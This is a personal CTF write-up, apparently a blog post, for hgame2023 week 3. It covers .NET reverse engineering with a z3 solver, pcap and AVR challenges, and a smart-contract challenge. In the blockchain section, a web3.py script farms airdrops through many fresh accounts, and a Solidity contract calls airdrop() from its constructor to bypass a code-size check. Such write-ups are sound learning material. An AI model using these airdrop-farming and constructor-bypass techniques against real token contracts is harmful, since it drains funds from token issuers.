hgame2023-week3

过年 打麻将 摆烂

Reverse

kunmusic

.net逆向 ILSpy

发现奇怪的data

binwalk 发现一共有13个音频

根据逆向发现 过年鸡 对应最后一个音频

动调提取data

是一个.net的dll 再反编译

z3 求解

如果直接求解 会发现num内的值不正确

后面发现应该是BitVect精度不够 32bit时一半左右是正确的

后面干脆利用flag头逆推一下 在z3求解

from z3 import *bits = 8num0 = 236
num1 = 72
num2 = 213
num3 = 106
num4 = 189
num5 = 86
num6 = BitVec('num[6]',bits)
num7 = BitVec('num[7]',bits)
num8 = BitVec('num[8]',bits)
num9 = BitVec('num[9]',bits)
num10 = BitVec('num[10]',bits)
num11 = BitVec('num[11]',bits)
num12 = BitVec('num[12]',bits)
s = Solver()
s.add(num0 + 52296 + num1 - 26211 + num2 - 11754 + (num3 ^ 41236) + num4 * 63747 + num5 - 52714 + num6 - 10512 + num7 * 12972 + num8 + 45505 + num9 - 21713 + num10 - 59122 + num11 - 12840 + (num12 ^ 21087) == 12702282)
s.add(num0 - 25228 + (num1 ^ 20699) + (num2 ^ 8158) + num3 - 65307 + num4 * 30701 + num5 * 47555 + num6 - 2557 + (num7 ^ 49055) + num8 - 7992 + (num9 ^ 57465) + (num10 ^ 57426) + num11 + 13299 + num12 - 50966 == 9946829)
s.add(num0 - 64801 + num1 - 60698 + num2 - 40853 + num3 - 54907 + num4 + 29882 + (num5 ^ 13574) + (num6 ^ 21310) + num7 + 47366 + num8 + 41784 + (num9 ^ 53690) + num10 * 58436 + num11 * 15590 + num12 + 58225 == 2372055)
s.add(num0 + 61538 + num1 - 17121 + num2 - 58124 + num3 + 8186 + num4 + 21253 + num5 - 38524 + num6 - 48323 + num7 - 20556 + num8 * 56056 + num9 + 18568 + num10 + 12995 + (num11 ^ 39260) + num12 + 25329 == 6732474)
s.add(num0 - 42567 + num1 - 17743 + num2 * 47827 + num3 - 10246 + (num4 ^ 16284) + num5 + 39390 + num6 * 11803 + num7 * 60332 + (num8 ^ 18491) + (num9 ^ 4795) + num10 - 25636 + num11 - 16780 + num12 - 62345 == 14020739)
s.add(num0 - 10968 + num1 - 31780 + (num2 ^ 31857) + num3 - 61983 + num4 * 31048 + num5 * 20189 + num6 + 12337 + num7 * 25945 + (num8 ^ 7064) + num9 - 25369 + num10 - 54893 + num11 * 59949 + (num12 ^ 12441) == 14434062)
s.add(num0 + 16689 + num1 - 10279 + num2 - 32918 + num3 - 57155 + num4 * 26571 + num5 * 15086 + (num6 ^ 22986) + (num7 ^ 23349) + (num8 ^ 16381) + (num9 ^ 23173) + num10 - 40224 + num11 + 31751 + num12 * 8421 == 7433598)
s.add(num0 + 28740 + num1 - 64696 + num2 + 60470 + num3 - 14752 + (num4 ^ 1287) + (num5 ^ 35272) + num6 + 49467 + num7 - 33788 + num8 + 20606 + (num9 ^ 44874) + num10 * 19764 + num11 + 48342 + num12 * 56511 == 7989404)
s.add((num0 ^ 28978) + num1 + 23120 + num2 + 22802 + num3 * 31533 + (num4 ^ 39287) + num5 - 48576 + (num6 ^ 28542) + num7 - 43265 + num8 + 22365 + num9 + 61108 + num10 * 2823 + num11 - 30343 + num12 + 14780 == 3504803)
s.add(num0 * 22466 + (num1 ^ 55999) + num2 - 53658 + (num3 ^ 47160) + (num4 ^ 12511) + num5 * 59807 + num6 + 46242 + num7 + 3052 + (num8 ^ 25279) + num9 + 30202 + num10 * 22698 + num11 + 33480 + (num12 ^ 16757) == 11003580)
s.add(num0 * 57492 + (num1 ^ 13421) + num2 - 13941 + (num3 ^ 48092) + num4 * 38310 + num5 + 9884 + num6 - 45500 + num7 - 19233 + num8 + 58274 + num9 + 36175 + (num10 ^ 18568) + num11 * 49694 + (num12 ^ 9473) == 25546210)
s.add(num0 - 23355 + num1 * 50164 + (num2 ^ 34618) + num3 + 52703 + num4 + 36245 + num5 * 46648 + (num6 ^ 4858) + (num7 ^ 41846) + num8 * 27122 + (num9 ^ 42058) + num10 * 15676 + num11 - 31863 + num12 + 62510 == 11333836)
s.add(num0 * 30523 + (num1 ^ 7990) + num2 + 39058 + num3 * 57549 + (num4 ^ 53440) + num5 * 4275 + num6 - 48863 + (num7 ^ 55436) + (num8 ^ 2624) + (num9 ^ 13652) + num10 + 62231 + num11 + 19456 + num12 - 13195 == 13863722)if s.check() == sat:m = s.model()print(m)
import stringdata = [132, 47, 180, 7, 216, 45, 68, 6, 39, 246, 124, 2, 243, 137, 58, 172, 53, 200, 99, 91, 83, 13, 171,80, 108, 235, 179, 58, 176, 28, 216, 36, 11, 80, 39, 162, 97, 58, 236, 130, 123, 176, 24, 212, 56, 89, 72]dec = "hgame{"num = [i for i in range(13)]for i,j in enumerate(dec):num[i] = ord(j)^data[i]num[9] = 199
num[8] = 120
num[7] = 53
num[12] = 133
num[11] = 93
num[6] = 62
num[10] = 15
flag=''for i,j in enumerate(data):flag += chr(j^num[i%len(num)])
print(flag)

Misc

Tunnel

题有问题

wiresharks 导出对象

直接搜索hgame就出了

关于 Tunnel Revange

没法跟安全协议的老师交代了 呜呜呜
ipesc最重要的东西

IoT

another UNO 非预期

先是逆向了一下

基于纯软件环境的AVR逆向分析-安全客 - 安全资讯平台 (anquanke.com)

发现有一堆异或

仿真时发现 前几个不定时出现flag头

干脆异或爆破一下

3*7个字符

BlockChain

VidarToken 非预期

就是硬转账了

import requests
from time import sleep
from eth_account import Account
from web3 import Web3
import jsonweb3 = Web3(Web3.HTTPProvider('http://week-3.hgame.lwsec.cn:30332/'))
recAccPk=''
recAcc = Account.privateKeyToAccount(recAccPk)
recAccAddr = recAcc.address
contractAddr = ""with open('VidarToken_sol_VidarToken.abi', 'r') as f:abi = json.load(f)
contract = web3.eth.contract(address=contractAddr, abi=abi)def getNewAccount():account = Account.create()address = account.addressurl = "http://week-3.hgame.lwsec.cn:32228/api/claim"req = requests.post(url, {"address": address})while "Txhash" not in req.text:req = requests.post(url, {"address": address})sleep(1)return accountdef airdopTransfer():account = getNewAccount()sleep(30)tx = contract.functions.airdrop().buildTransaction({'gas': 100000,'gasPrice': web3.toWei('100', 'gwei'),'from': account.address,'nonce': web3.eth.getTransactionCount(account.address)})signed = account.signTransaction(tx)tx_id = web3.eth.sendRawTransaction(signed.rawTransaction)web3.eth.waitForTransactionReceipt(tx_id)tx = contract.functions.transfer(recAccAddr,10).buildTransaction({'gas': 100000,'gasPrice': web3.toWei('100', 'gwei'),'from': account.address,'nonce': web3.eth.getTransactionCount(account.address)})signed = account.signTransaction(tx)tx_id = web3.eth.sendRawTransaction(signed.rawTransaction)web3.eth.waitForTransactionReceipt(tx_id)def balanceOf(addr):return contract.functions.balanceOf(addr).call()def solve():tx = contract.functions.solve().buildTransaction({'gas': 100000,'gasPrice': web3.toWei('100', 'gwei'),'from': recAcc.address,'nonce': web3.eth.getTransactionCount(recAcc.address)})signed = recAcc.signTransaction(tx)tx_id = web3.eth.sendRawTransaction(signed.rawTransaction)tx_receipt = web3.eth.waitForTransactionReceipt(tx_id)print(tx_receipt)def main():for i in range(60):print(i)airdopTransfer()if int(balanceOf(recAccAddr)) >= 600:solve()if __name__ == "__main__":main()

预期解 应该是使用构造中的合约大小为0

一直有问题 等官方wp出来再看看吧

看了官方wp 跟我的差不多

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;import "./VidarToken.sol";contract Exploit {constructor() payable {VidarToken vidarToken = VidarToken(0x5ad4Be93227D9a5E575d8084E42f4fD15df64813);vidarToken.airdrop();vidarToken.transfer(0x28A8AF0355457d4a460334014E24Fb5cD8B55343,10);}
}contract Runner {function exp() public{for (uint i=0;i<60;i++){new Exploit();}}
}

后面发现是metamask的账户确认交易问题
一直卡在等待交易,估计是私链的算力不够吧

重置账户交易信息就好了

2023-2-1

算是此时的感想吧,hgame的题难度越来越大了!考点也越来越好!
每年玩hgame都能学到过去的一整年中不少好的考点!
祝Vidar越来越强!

week2截至时 我的总榜排名是第十名
week3截至时 我的总榜排名是第十三名
看来拿奖 是够呛了。。。呜呜呜
截至此篇发文时
IoT 方向 ak (week4还没出
Blockchain 方向 ak (week4 已经解除一道 但不知道是否追加题目
我知道我自己几斤几两 能ak的原因是 题目并不难或者条件受限

最后感谢Vidar成员的出题与付出!

hgame2023-week3相关推荐

  1. hgame2023 week3 writeup

    WEEK3 文章目录 WEEK3 Reverse 1.kunmusic 2.patchme 3.cpp pwn 1.safe_note 2.large_note 3.note_context Cryp ...

  2. week3 day3 迭代器和生成器

    week3 day3 迭代器和生成器 一. 迭代器 1.1 什么是迭代器? 1.2 为何要使用迭代器? 1.3 如何使用迭代器? 1.4 迭代器例子 1.5 for循环的原理 1.6 迭代器的优缺点 ...

  3. HGame 2023 Week3 部分Writeup

    文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week3-bu-fen-writeup 本周在迎新春,走亲戚(真的很忙),外加题目难度增 ...

  4. hgame2023 week1 writeup

    #WEEK1 文章目录 RE 1.re-test_your_IDA 2.re-easyasm 3.re-easyenc 4.re-a_cup_of_tea 5.re-encode pwn 1.test ...

  5. BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

    文章目录 WEEK3 MISC Whats HTTP WebShell! qsdz's girlfriend 3 Yesec no drumsticks 3 混沌的图像 WEB BabySSTI_On ...

  6. deeplearning.ai课程作业:Recurrent Neural Networks- Course 5 Week3

    deeplearning.ai课程作业:Recurrent Neural Networks- Course 5 Week3 Part 1 Neural Machine Translation Welc ...

  7. hgame2023 week2 writeup

    WEEK2 文章目录 WEEK2 web 1.Git Leakage 2.v2board 3.Designer RE 1.before_main 2.stream 3.VidarCamera 4.ma ...

  8. 纽约大学深度学习PyTorch课程笔记(自用)Week3

    纽约大学深度学习PyTorch课程笔记Week3 Week 3 3.1 神经网络参数变换可视化及卷积的基本概念 3.1.1 神经网络的可视化 3.1.2 参数变换 一个简单的参数变换:权重共享 超网络 ...

  9. hgame2023 WebMisc

    文章目录 Web week1 Classic Childhood Game Become A Member Guess Who I Am Show Me Your Beauty Week2 Git L ...

  10. Coursera Algorithms week3 快速排序 练习测验: Nuts and bolts

    题目原文: Nuts and bolts. A disorganized carpenter has a mixed pile of n nuts and n bolts. The goal is t ...

最新文章

  1. 小程序:js获取验证码时(倒计时模块)
  2. 免费科研数据集大搜索,来源于互联网~
  3. 动态引入/添加js脚本
  4. GARFIELD@11-10-2004
  5. android手机电话铃声设置,安卓手机铃声怎么设置
  6. HDU 1788 Chinese remainder theorem again
  7. consul运维入门
  8. Pandas 排序之后索引问题
  9. Java程序员须知的七个日志管理工具
  10. Spark解决的问题与体系结构
  11. 手机流量网络私有地址
  12. powerbi 线性回归_微软Power BI 每月功能更新系列——11月Power BI 新功能学习
  13. 计算机控制技术课程设计温度控制系统,计算机控制技术课程设计PWM温度自动控制系统的设计...
  14. Android IBeacon
  15. java 课设 商品库存管理系统
  16. elementUI 表格合并单元格-多层级-合并行
  17. 小程序直播公测,微信再造电商梦?
  18. 列表类型(sort,reverse,list(),append(),切片)、求中位数,平均数,标准差练习
  19. the remaind barkley posite eggplant
  20. 数字孪生 智慧交管可视化决策系统

热门文章

  1. [图][下载]FATCAT桌面计算器首次发布!
  2. 行到水穷处,坐看云起时
  3. IOS 实现Toast提示信息弹窗
  4. Python实现LOAD DATA INFILE
  5. 零信任安全:针对网络威胁的多层保护
  6. 局域网共享技术及网络故障检测排除
  7. MapInfo、ArcGIS 狙击战 1
  8. Lingo求解简单的整数规划
  9. p12解析流程_OpenSSL 解析P12格式证书文件
  10. 开发人员被苹果公司拒绝删除 Apple ID 数据